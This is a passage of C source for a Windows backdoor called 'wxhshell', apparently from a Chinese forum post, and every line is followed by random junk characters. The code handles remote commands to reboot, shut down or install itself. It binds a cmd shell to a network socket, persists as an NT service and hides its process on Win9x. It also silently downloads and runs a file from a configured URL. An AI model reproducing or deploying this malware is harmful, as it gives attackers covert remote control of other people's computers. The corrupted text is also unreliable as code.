      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (#f m (@T  
    break; r78u=r  
  } H1aV}KD  
  // 安装 ?Zc/upd:$N  
  case 'i': { >reaIBT  
    if(Install()) B FzcoBu-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yYxeNE"  
    else 5`1(}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); */0vJz%<.M  
    break; 2VoEQ  
    } GInZ53cQ  
  // 卸载 *F26}q  
  case 'r': { &CB.*\0  
    if(Uninstall()) hqhu^.}]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1qB!RIau  
    else T% /xti5$!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >N+bU{s  
    break; e>])m3xvn  
    } WH pUjyBP  
  // 显示 wxhshell 所在路径 3p?<iVE  
  case 'p': { =j'J !M  
    char svExeFile[MAX_PATH]; p=mCK@  
    strcpy(svExeFile,"\n\r"); ? 6yF{!F*  
      strcat(svExeFile,ExeFile); RTgQ#<W8  
        send(wsh,svExeFile,strlen(svExeFile),0); = )JVT$]w  
    break; yr/]xc$  
    } vp )}/&/  
  // 重启 Y|GJp h  
  case 'b': { |Ak =-.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4~m.#6MT  
    if(Boot(REBOOT)) cu.*4zs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Vb}i[</  
    else { 6b#:H~ <  
    closesocket(wsh); z*NC?\  
    ExitThread(0); 3<e(@W}n-M  
    } p]1yd;Jt  
    break; xN{"%>Mx  
    }  c{f:5 p  
  // 关机 O X5Co <u  
  case 'd': { zAkc 67:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `wn<3#  
    if(Boot(SHUTDOWN)) 0i5T] )r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8osS OOzM  
    else { A;kw}!  
    closesocket(wsh); >m2<Nl}  
    ExitThread(0); z^a6%N  
    } > hDsm;,/  
    break; (dLE<\E  
    }  &*>C PO  
  // 获取shell dIBKE0`  
  case 's': { jE?\Yv3  
    CmdShell(wsh); p,[XT`q^  
    closesocket(wsh); (^s&M  
    ExitThread(0); m p|20`go  
    break; epG X.  
  } *D09P%  
  // 退出 HX /GLnY/X  
  case 'x': { NSxPN:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .%J?T5D  
    CloseIt(wsh);  xnRp/I  
    break; (g iTp@Tp  
    } I\Gp9w0f  
  // 离开 },Re5W nl  
  case 'q': { ^sf[dr;BA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3x(MvW30Lg  
    closesocket(wsh); PcNf TB{  
    WSACleanup(); r:WgjjA%  
    exit(1); R[>;_}5">  
    break; -hU>1ux&V  
        } {l*&l2  
  } ?sjZ13 SUa  
  } :cmI"Bo  
cAKoPU>U  
  // 提示信息 v0hfY   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`<>$2b  
} >XXMIz:  
  } ^M"=A}h  
Rvu3Qo+  
  return; ~J. Fl[  
} FVC2XxP  
<*r<+S   
// shell模块句柄 IioE<wS)  
int CmdShell(SOCKET sock) |W~V@n8"6  
{ QGbD=c7  
STARTUPINFO si; )-6s7  
ZeroMemory(&si,sizeof(si)); '4^V4i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _;J9q}X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a7v[l04  
PROCESS_INFORMATION ProcessInfo; lM|WOmD  
char cmdline[]="cmd"; QS=$#Gp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %.Tf u0M  
  return 0; {YKMQI^O/  
} \9|]  
picP_1L  
// 自身启动模式 $*v20  
int StartFromService(void) !6tC[W`  
{ 8SCW.;0  
typedef struct PkCeV]`w  
{ Zs5I?R1e8  
  DWORD ExitStatus; "$E!_  
  DWORD PebBaseAddress; SJ~I r#  
  DWORD AffinityMask; = @Nv:1:r  
  DWORD BasePriority; b~haP.Cl :  
  ULONG UniqueProcessId; /c$Ht  
  ULONG InheritedFromUniqueProcessId; _#YHc[Wz  
}   PROCESS_BASIC_INFORMATION; q5\LdI2  
:oj) eS[Y  
PROCNTQSIP NtQueryInformationProcess; ?k:])^G5  
'd.@4 9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  oRbYna?J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MZP><Je&  
-g[*wN8  
  HANDLE             hProcess; )[M<72  
  PROCESS_BASIC_INFORMATION pbi; *liPJ29C[  
0h@%q;g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0)`lx9&h  
  if(NULL == hInst ) return 0; #Hn yE+tD  
zIQc#F6\5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); im?XXsH'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xu?QK6D:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [A..<[  
|phWK^   
  if (!NtQueryInformationProcess) return 0; (Y.$wMB  
uQ%HLL-W/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *UL|{_)c  
  if(!hProcess) return 0; ^qus `6  
<9k}CXv2PK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r4NT`&`g?  
ge {4;,0=  
  CloseHandle(hProcess); etK,zEd  
5G ]#yb74  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RBD7mpd  
if(hProcess==NULL) return 0; >3 .ep},  
K!: ,l  
HMODULE hMod; ? -F'0-t4%  
char procName[255]; QUw5~n ;-  
unsigned long cbNeeded; 8rG&CxI  
w%o4MFK=!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8(_g]u#B;  
;=9v mQA  
  CloseHandle(hProcess); XX[Wwt  
WJSHLy<a  
if(strstr(procName,"services")) return 1; // 以服务启动 s^t1PfP(,  
$9_.Q/9>  
  return 0; // 注册表启动 $}UJs <-F  
} ihBl",l&Hq  
i+x6aQ24  
// 主模块 [ 6o:v8&3  
int StartWxhshell(LPSTR lpCmdLine) q\HBAr y  
{ 0^lL,rC   
  SOCKET wsl; A-wxf91+:  
BOOL val=TRUE; 8m[L]6F(-z  
  int port=0; s=~7m.m  
  struct sockaddr_in door; MJ"Mn^:/  
"A1yqK  
  if(wscfg.ws_autoins) Install(); U}wq~fD  
-Lf6]5$2'  
port=atoi(lpCmdLine); =]xk-MY"|R  
VUv.Tx]Z[  
if(port<=0) port=wscfg.ws_port; K9M.+d4  
.@3u3i64'  
  WSADATA data; !BikF4Y1L&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?.A/E?Oc  
'MQGR@*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GK+\-U)v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -Us% g  
  door.sin_family = AF_INET; }~C ZqIP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |ShRxE3@'  
  door.sin_port = htons(port); fG$.DvJuK  
RHAr[$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XXwhs-:o  
closesocket(wsl); q vVZA*  
return 1; z+D,:!yF  
} Xsn- +e  
_]ttKT(  
  if(listen(wsl,2) == INVALID_SOCKET) { ulSTR f  
closesocket(wsl); q4ko}jn  
return 1; 6:z&ukq E  
} 3L]^x9Cu)  
  Wxhshell(wsl); RH4n0 =2  
  WSACleanup(); "l,EcZRjTz  
Lm{ o=v  
return 0; 99>yaW  
H.[&gm}p>  
} F}.TT =((8  
2_\|>g|  
// 以NT服务方式启动 U`p<lxRgQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _w/N[E  
{ `LU,uz  
DWORD   status = 0; uv!qE1z@':  
  DWORD   specificError = 0xfffffff; ~S>ba']  
.*f4e3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #R PB;#{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L0VR(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S^VV^O5 ^  
  serviceStatus.dwWin32ExitCode     = 0; E=*Q\3G~  
  serviceStatus.dwServiceSpecificExitCode = 0; 9qy 9  
  serviceStatus.dwCheckPoint       = 0; q8bS@\i  
  serviceStatus.dwWaitHint       = 0; FH21mwV  
J<*Mk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g):jZU]b  
  if (hServiceStatusHandle==0) return; (a!,)  
D"f(nVEr  
status = GetLastError(); . mrRv8>$  
  if (status!=NO_ERROR) "wC5hj]  
{ f4I9H0d;!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HbSx}bM_9  
    serviceStatus.dwCheckPoint       = 0; K$5P_~;QL  
    serviceStatus.dwWaitHint       = 0; o5 XUDDi  
    serviceStatus.dwWin32ExitCode     = status; uPv?Hq  
    serviceStatus.dwServiceSpecificExitCode = specificError; SfFR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^G`Jf  
    return; R.`J"J0/~  
  } H&IP>8Dk  
:Qp/3(g e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3A}8?  
  serviceStatus.dwCheckPoint       = 0; (4{9 QO  
  serviceStatus.dwWaitHint       = 0; FN`kSTm*0!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1CVaGD^r{  
} qAik$.  
=F[,-B~  
// 处理NT服务事件,比如:启动、停止 2=M!lB *  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hD"~ ^  
{ -XG$ 0  
switch(fdwControl) h5keYBA  
{ 9d}nyJ  
case SERVICE_CONTROL_STOP: [te7 uZv-  
  serviceStatus.dwWin32ExitCode = 0; J*C*](  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V=MZOj6  
  serviceStatus.dwCheckPoint   = 0; : {Z^ _;Tf  
  serviceStatus.dwWaitHint     = 0; p&l:937  
  { vkgL"([_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q^w]Nj(e_  
  } pdiZ"pe  
  return; ve^MqW&S  
case SERVICE_CONTROL_PAUSE: EC#10.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *~^^A9C8  
  break; =V 7w CW  
case SERVICE_CONTROL_CONTINUE: kxwm08/|f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 97dI4 t<  
  break; YDD]n*&  
case SERVICE_CONTROL_INTERROGATE: ADz|Y~V!  
  break; +[[gU;U"v  
}; -- FtFo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,peE'   
} Bys|i0tb-  
GTNTx5H  
// 标准应用程序主函数 OR8o%AxL7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M?u)H&kEl  
{ Sxu v}y\  
#8OqX*/  
// 获取操作系统版本 4O^1gw  
OsIsNt=GetOsVer(); r=aQ S5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F[Sat;Sll  
dtl<  
  // 从命令行安装 ,jcp"-5#j  
  if(strpbrk(lpCmdLine,"iI")) Install(); ttVSgKAsm  
)yZE>>3-  
  // 下载执行文件 QjU"|$  
if(wscfg.ws_downexe) { =oDrN7`,B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K_3ZJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4]KceE  
} H4Ek,m|c  
L1i> %5:g  
if(!OsIsNt) { )D*xOajo+l  
// 如果时win9x,隐藏进程并且设置为注册表启动 h--bN*}H2  
HideProc(); HI 61rXNF  
StartWxhshell(lpCmdLine); 7HFO-r118  
} 0eP~F2<bC  
else ev >9P  
  if(StartFromService()) B ;$8<  
  // 以服务方式启动 &,7(Wab  
  StartServiceCtrlDispatcher(DispatchTable); m 0PF"(  
else oX ,M;;Yq  
  // 普通方式启动 i`L66uV  
  StartWxhshell(lpCmdLine); {rLOAewr  
;A!i V |  
return 0; *2;3~8Y  
}
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只看该作者 1 发表于: 2006-10-10
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